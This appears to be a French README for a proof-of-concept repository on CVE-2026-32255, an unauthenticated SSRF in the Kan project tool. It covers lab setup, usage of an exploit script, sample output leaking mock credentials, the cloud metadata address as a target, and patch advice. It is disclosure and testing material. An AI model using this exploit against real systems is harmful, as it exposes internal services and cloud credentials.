
Ce dépôt contient une preuve de concept (POC) pour CVE-2026-32255, une vulnérabilité de falsification de requête côté serveur (SSRF) de gravité élevée dans Kan, un outil open-source de gestion de projet.
Ce dépôt contient une preuve de concept (POC) pour la CVE-2026-32255, une vulnérabilité de Server-Side Request Forgery (SSRF) de sévérité élevée dans Kan, un outil open-source de gestion de projet.
Le point de terminaison vulnérable permet à des attaquants non authentifiés d'effectuer des requêtes HTTP arbitraires depuis le serveur et de lire la réponse complète, permettant ainsi l'accès aux services internes et aux points de terminaison de métadonnées cloud.
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:NLe fichier apps/web/src/pages/api/download/attatchment.ts expose un point de terminaison GET /api/download/attatchment destiné à servir de proxy pour les téléchargements de pièces jointes depuis le stockage S3. Le point de terminaison accepte un paramètre de requête url contrôlé par l'utilisateur et le transmet directement à fetch() côté serveur sans aucune validation ni authentification :
const upstream = await fetch(url); // aucune validation sur `url`
Un attaquant peut fournir n'importe quelle URL, ce qui amène le serveur à effectuer une requête HTTP vers cette destination et à renvoyer le corps de la réponse complet au client. Il s'agit d'une SSRF avec lecture complète (non aveugle), ce qui signifie que l'attaquant peut lire l'intégralité du contenu de la réponse.
http://169.254.169.254/ sur AWS/GCP)Cloner et exécuter Kan v0.5.4 (la dernière version vulnérable) :
git clone --branch v0.5.4 https://github.com/kanbn/kan.git
cd kan
Configurer les variables d'environnement requises :
cat > .env <<'EOF'
NEXT_PUBLIC_BASE_URL=http://localhost:3000
BETTER_AUTH_SECRET=poc-secret-not-for-production-use
POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
POSTGRES_PASSWORD=kan
REDIS_URL=redis://localhost:6379
NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
EOF
Remarque : Si vous obtenez une erreur concernant
dokploy-network, supprimez les références àdokploy-networkdansdocker-compose.yml(lignes 9, 130-131) puis exécutez à nouveaudocker compose up -d. Ce réseau n'est pas nécessaire en local.
Démarrer les conteneurs :
docker compose up -d
L'application devrait être disponible à l'adresse http://localhost:3000.
Dans un terminal séparé, démarrer le service interne simulé inclus qui reproduit une API interne sensible :
python3 internal-service.py
Cela démarre un serveur sur le port 8888 qui renvoie de faux identifiants, simulant un service qui ne devrait être accessible que depuis le réseau interne. Dans un scénario réel, ce service serait isolé derrière un pare-feu et inaccessible depuis l'extérieur. La SSRF permet à l'attaquant de l'atteindre via le serveur.
chmod +x exploit.sh
./exploit.sh http://localhost:3000
./exploit.sh <url-cible> [url-interne]
<url-cible> : URL de base de l'instance Kan (par exemple, http://localhost:3000)[url-interne] : URL interne à récupérer via la SSRF (facultatif, auto-détectée à partir de la passerelle du pont Docker)./exploit.sh http://localhost:3000
=== CVE-2026-32255 - SSRF via Téléchargement de Pièce Jointe dans Kan ===
Cible : http://localhost:3000
URL interne : http://172.17.0.1:8888
[*] Vérification de l'accessibilité du point de terminaison...
[+] Le point de terminaison est accessible (HTTP 400)
[*] Tentative de SSRF vers http://172.17.0.1:8888 ...
[+] VULNÉRABLE - Le serveur a récupéré la ressource interne
Contenu divulgué :
------------------------------------------------------------
{
"service": "internal-config-api",
"credentials": {
"db_host": "10.0.0.5",
"db_user": "admin",
"db_password": "s3cret_passw0rd!",
"api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
}
}
------------------------------------------------------------
Mettre à jour vers Kan v0.5.5 ou une version ultérieure, qui valide le paramètre url par rapport au nom d'hôte du point de terminaison S3 configuré avant de servir de proxy à la requête.
Si vous ne pouvez pas mettre à jour immédiatement, bloquez l'accès externe au point de terminaison vulnérable au niveau de votre proxy inverse.
Cette preuve de concept est fournie uniquement à des fins éducatives et pour des tests de sécurité autorisés. N'utilisez cet outil que sur des systèmes dont vous êtes propriétaire ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
L'auteur n'est pas responsable de toute utilisation abusive des informations ou des outils fournis dans ce dépôt. L'accès non autorisé à des systèmes informatiques est illégal.
Découvert par : kOaDT ([email protected])